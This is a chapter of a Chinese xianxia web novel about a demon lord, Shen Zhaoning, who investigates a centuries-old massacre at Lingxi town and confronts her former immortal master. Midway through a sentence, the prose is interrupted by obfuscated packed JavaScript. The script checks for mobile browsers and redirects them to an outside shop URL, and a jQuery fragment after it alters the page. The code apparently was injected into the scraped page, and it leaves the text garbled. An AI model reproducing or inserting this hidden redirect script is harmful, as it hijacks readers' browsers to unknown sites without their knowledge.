魔界外,银装素裹,白雪皑皑,天地之间似乎都被蒙上了一层淡淡银色薄纱一般。
沈昭宁起身,从百里凛那里得知已经过了三百年,而此时正值冬季,她站在凝幽殿内,望着殿外玄瘴林,望着漫天大雪纷纷扬扬飘落下来。陡然之间,竟然有些恍惚....
好似她依旧是三百年前仙界的弟子...
沈昭宁仿佛间回到了那段无忧无虑的时光里,记忆中的冬天是她和师尊一起度过的。忽地被一声突兀的声音拉回现实里,他从她身后走来。
“姐姐,我们可要攻打仙界?”百里凛道,他语气中充满兴奋,眼神也充满期待看向沈昭宁。并且边说边在大殿里踱步,一会说如果攻打仙界,应该先做什么,后做什么,又冲冲地说着“定要让那群臭仙人生不如死,魂飞魄散。”
沈昭宁听得头疼,本就记恨当年他污蔑自己的事情,这会儿还没消气,又听他在自己耳边喋喋不休,随意在手里捏个魔气团砸向他,转眼间百里凛就被这魔气团打中,跌倒在地,彻底闭上嘴。
沈昭宁见他一脸不可思议,淡淡开口:“你太聒噪了,吵得我心烦。”
百里凛见只是普通的魔气团,竟然会将身为魔尊的他...轻轻压制,不...现在他不是魔尊了,他只是沈昭宁手下的一名听从她指令的魔族,毕竟眼前女子可是拥有上古魔血的万魔之主。
“为什么,姐姐你难道不想让三百年前肆意欺辱你的那群仙人,”说到这百里凛停顿一下,内心想,他可不认为那群人可以被称作仙人。又道:“那群道貌岸然的伪君子就应该付出到代价,让他们好好感受一下来自魔族的报复。”
“当年灵溪镇乡民满门殒命,此事,是出自你的手笔吗?”沈昭宁问道。
百里凛回忆一下,道:“不是,那时我赶赴灵溪镇,只是为了查询灵溪镇上的魔气是否出自魔界。”
沈昭宁这才从百里凛口中得知,原来在三百年前,甚至更早时,这天地之间,就出现一股黑暗力量,这股力量可以说是充满邪恶气息,如果不细细分辨,就会认为是来自魔界的邪魔气息。可事实上这忽然出现的“怪物”并非是魔,具体是什么,到现在还无从知晓。
“既然非你所为,亦非魔所为,那灵溪镇上乡民全部离奇死亡之事,又会是何人所为呢?”沈昭宁呢喃出声,若有所思,总觉得实在是匪夷所思,她现在要立刻下山一趟,去那灵溪镇上看看,走到殿外时,又被身后穿着黑袍的百里凛叫住,有些犹豫,最后开口道。
“姐姐,你要去往何处?难道就此放下魔族的血海深仇,忘却那时你身受的万般屈辱吗?”
沈昭宁回头,目光中的男子因被凝幽殿内上空的冥灯而看不清神色,随后他走出那阴暗灯下,又笑嘻嘻,道,“姐姐,我只是为你满心叹惋,并无别的念头。”
沈昭宁平静回道:“昔日血海深仇,我绝不会就此作罢。”说完这句,她顿了顿,声音比先前冷淡,道:“但是非我所为之事,我绝不承受这不明之罪,若是我的因果,我亦不会本分退缩。”
“我必会揪出幕后真凶,令其受尽苦楚,求生不得,求死不能。”言罢,沈昭宁转身离去,不再看百里凛的神色,最后身影消失在玄瘴林之中。
人间长阔,路远漫长,一望不到头,鹅毛大学纷纷扬扬铺天盖地,无边无际。
沈昭宁就像是白茫茫雪地里唯一的亮彩,她一身赤红衣裙,肌肤冷白胜雪,容貌艳丽娇媚,可眉眼中透着清冷坚韧。她走在长街大路上,没有选择御剑飞行,亦没有选择任何魔力。她昏睡的时间太长,让她仿佛忘记了这世间的模样。
寒冷刺骨的街镇,依旧有几名商贩守着摊子,吆喝声断断续续响起,可惜行人稀少,冷冷清清。蓦地拐角处有两个孩童嬉闹,追逐,路过这儿,突然脚滑眼见要摔在地上,这般天气,如果就这样直直摔下去,定会磕个头破血流,沈昭宁下意识伸手将那穿着破絮衣的小男童揽起。
那男童本来因为要摔时害怕,见忽然被人揽起立刻露出喜悦神情,见眼前女子貌美,下意识笑嘻嘻叫:“漂亮..漂亮姐姐..”。沈昭宁没回,这孩童身后是她母亲,那母亲穿着比这还孩童更旧,更烂的单薄衣衫,袖口处被磨的破烂,她对沈昭宁露出感谢神情,非常感激。这寻常人家,倘若孩童磕出什么毛病来,也是没钱医治,只能听天由命,是死还是活,无人知晓。
沈昭宁道:“这般风雪天,你们为何还要出门奔波?”她这话,不是突然问出,而是观察了眼前三位人,母亲穿着单薄,那个先前被她扶起的男童则穿着满是补丁的粗麻夹袄,而那个最小的女童则被母亲牵在怀里,比先前两个人好上许多,身上虽也是布衣料子,可是补丁却少了许多。不像是要去买东西的模样,也不像是要去卖东西的模样,毕竟他们身上什么都没带。
这妇女脸颊微泛红,不好意思道:“灵溪镇外,有一个开设粥棚的大善人,给我们这群穷苦人施粥,甚至还免费赠送些御寒衣物,去迟了,便轮不到了。”
说完,这妇女又摸了摸男童的小脑袋,亲昵道:“我家阿三,心中狂喜,就在这雪天里跑,差点摔了,多亏小娘子搭救才免这遭。”
沈昭宁问道:“灵溪镇?”她其实从魔界出来,一直未能找到这灵溪镇,只以为是已经过了三百年,这镇上的百姓又尽数身死,这镇也不复存在,或者改名了,没想到从这妇女嘴里听到灵溪镇的名字。
妇女回道:“就是这古镇,不过这地,只有世代居住在周边的人家才知晓,实际上这集镇早就消失了,也不过是我们这几个后人才知晓罢了。”说完,妇女又问:“难道小娘子也听闻过这地方?”
沈昭宁回答:“是。”又向眼前之人,表明自己也想前去。那妇女问:“小娘子可是前去领取白粥?不过看小娘子衣着气度,全然不像是穷苦人家的,像是养在富贵人家的世家闺秀呢。”
沈昭宁不解释什么,平静又疏离,道:“昔日祖上曾在那里生活过一段时间,我只是想来这故地凭吊一番。”
妇女恍然颔首道:“原来如此,毕竟那镇上早已人烟寥落,近日往来之人,也不过是冲着布衣的衣食而去。”
言尽,妇人许是察觉眼前红衣女子浑身上下透露着清冷疏离,且心不在焉。不再向她搭话,于是一路无言,带着沈昭宁来到这灵溪镇外。
沈昭宁环顾四周,见此地偏僻荒凉,根本不能称得上是镇,只因周遭散落着几处零星村落,才能勉强算作一个聚居之地。实在是人迹罕至。
但是就是这荒墟之地,却有不寻常的地方。一不起眼角落处的摊贩上竟然有一蜿蜒长队,男女老少都挤在这风雪漫天里,安安静静等着排到自己,领上一份热气腾腾的白粥,以及避寒衣物。
这带着两个孩童的母亲将沈昭宁带到这后,就急匆匆加入这长长队伍之中去了。
乍一看,好似他们只是为了领粥,以及衣物才排,可是看这队伍最源头,才发觉那不起眼的小摊上虽然冒着袅袅白汽,另一旁堆叠着御寒布衣,可是此处竟然无施粥之人,也无分发衣衫之人,全靠排队的人自觉,依次领取,竟然能做到有条不紊,不争不强。
实在怪异,让人匪夷所思。
沈昭宁也走进那长队之中,不过她未排进队伍里,只是随意向其中一老者搭话。
她问道:“老丈,此处未何不见赈济粥是食,分发寒衣之人呢?这些吃食与衣物,是何人所置?”沈昭宁不是无缘而问,而是首先这地偏僻,人迹罕至,一般都是找人间烟火气地方才对,其次此事绝非官府所为,因为周遭不见半件官家器物,全然没有朝廷赈济的痕迹。
老者抬头,见一容貌娇艳女子,回答道:“哎,你问这,可是问错了,因为我们都不知到底是何人在此施粥布衣,都是口口相传,才结伴赶来此地。”
沈昭宁又淡淡问:“竟无一人见过幕后主事之人吗?”
老者闻言,见询问女子真是好奇,没有其他心思,回想起来,道。
“想来最初前来领粮的人好似远远见过一回,说是一位白衣少年郎,好似生得容貌俊秀无双,虽一身布衣素衫,可是风骨出尘,宛若九天仙人一般。”
“九天仙人?”沈昭宁皱眉,难道是仙界的人所做?可是那群人怎么可能会做出这等善事,且看起来毫无回报,毫无意义之事?
这老者听到沈昭宁疑惑声音,哈哈笑道:“只是这传言虚实难辨,更何况我等都是凡夫俗子,怎么会有仙人为我们老百姓做这些事情。”
沈昭宁未表态,内心冷笑道:“仙人?往昔确有这般人,但是现在已经成为魔了。”不过她并无悔意就是了。
说到底,这世间名号尊称,皆是世人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679968|207652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
强加评定。万般身份,都是人,只是每个人披着的皮不同,那层厚厚的皮囊之下,藏着何等本心,又哪里是外人能看透的呢?
就好比看似温顺的羔羊皮下,竟是一只张牙舞爪的饿狼,只因为了吃上羊肉,才忍气吞声披着羊皮。
而面如豹狼猛兽下的外皮,细细一看,发现竟然是一个活生生的人,你说可笑不可笑,世人都披着与自己相反的皮囊生活,畏惧将真皮展露出来。
老者见红衣女子笑得突然,不由得问上一句是他所讲有何不妥之处吗。沈昭宁摇摇头,道:“并非,此事也许真是仙人所为,只不过这仙人也许是披着别的皮的仙人罢了。”
老者听不懂沈昭宁的话,本欲再问。沈昭宁不愿再说,只换了个话题,她问为何此地没有施衣布施之人,周围排队之人却井然有序,全无争吵喧闹呢?问这话不是别的意思,而是根据事实问,细想,这粥,这衣都有限,定然会有人想多拿吧?
那老者长叹一声,解释。原来起初也是有口角纷争的,可是但凡闹事想争之人,再来此地时,都一无所获。更奇的是,只要有人起争执不散,第二日这地也无任何粥食衣物,凭空消散。久而久之,再也无人敢肆意争抢了。
沈昭宁闻言,忍不住猜测到底是何人,看样子依这老者所言,此人定不是凡夫俗子了。应该就是仙界的人,只是是谁呢,是谁如此好心?
她不再多问,也问不出结果。又想起灵溪镇上的事,便从这荒芜之地,转身走向那镇子里的地方。那块更是荒芜,不过比刚才她所待之地好上许多,门外有一道大匾,刻着什么看不清了,只有一个灵字稍微清晰一点,还能认出。沈昭宁继续向镇内走去,四下依旧荒无人烟,屋舍也残破倾颓,不过瞅着四处光景却比方才那片空地好上不少。
沈昭宁缓步前行,能清晰感受到这镇内周遭萦绕着缕缕淡淡魔气,比她心中所想的淡上许多,没有那么强烈。却也奇怪,因为这里三百年前,乡民尽数死去,却没造成浓烈怨恨,想必一定是被人驱散过。
她越走,觉得周遭熟悉起来,好似过去记忆又清晰浮现,她在这里帮助过多少乡民,那时她内心所想不过是希望尽她所能,救治更多人,可是呢?现如今所有一切都变了,这镇子变了,变得没有生机,沈昭宁也变了,变得冷漠了。
可是万事万物不都会变得吗?也不足为奇。只是物是人非,过往都是回忆,回忆都被埋藏岁月里,好似从未发生过一般。
忽而传来一阵清悦笛声随风漫来,曲调悠扬婉转,沈昭宁觉得这笛声太过熟悉,不由得侧耳倾听,想看这笛子到底是何人吹奏。
她循着声快步寻找笛身源头,望向前方一看是一名白衣男子静立在那,他手上拿着笛子吹奏,指尖掐诀,正欲施法。沈昭宁仅仅从这白衣男子背影看去,就觉他一身仙气不凡。
那白衣男子好似察觉到来人,缓缓转过身,看见他,露出一个复杂神色,这男子眉目温润如玉,一双浅蓝眼眸里好似装满了柔意,沈昭宁这才意识到,此人正是她仙界师尊,楼栖白!
渺无人烟之地,唯有二人相互远远对视,一言不发。
天地之间,雪簌簌地落下,周遭太过安静,甚至可以听见雪落到地上时,轻纱摩挲似的稀碎声响,地面被铺上一片雪地。
有冬风吹过,将这皎洁的雪吹在那白衣男子的身上,显得更加冰清玉洁,又吹在沈昭宁的赤红衣裙上,越下越大,碎雪飘零满天飞雪,一片雪花落在她的眼睫上,她一眨眼便融化掉。可是沈昭宁不知是被这雪的寒意侵入还是怎的,眼睛竟然觉得酸涩起来,也许是雪融化的水落到了她的眼睛上。
那白衣男子就那样静静看着她,不言语。沈昭宁气恼上来,当即纵身飞跃而起,落到那白衣男子身前,拔剑出鞘挥向他。
只是昔日里沈昭宁的流云剑是透着那仙气流彩,如今是通体浸满了墨黑色魔气,不过倒是与她一身红裙相配,煞是好看。
那男子见剑挥向他,只躲,不攻,一为避让。沈昭宁步步紧逼,见他这般,内心怒火中烧,随后施法汇聚一身魔气,将白衣男子层层围住,男子躲避不得,只好立在原地。
沈昭宁将剑锋指向他,红裙在寒天落雪里摇曳生姿,她语气冰冷,字字诛心,淡淡道:“拔剑!”
她恨他!今日她就要拔剑将楼栖白斩于她剑下!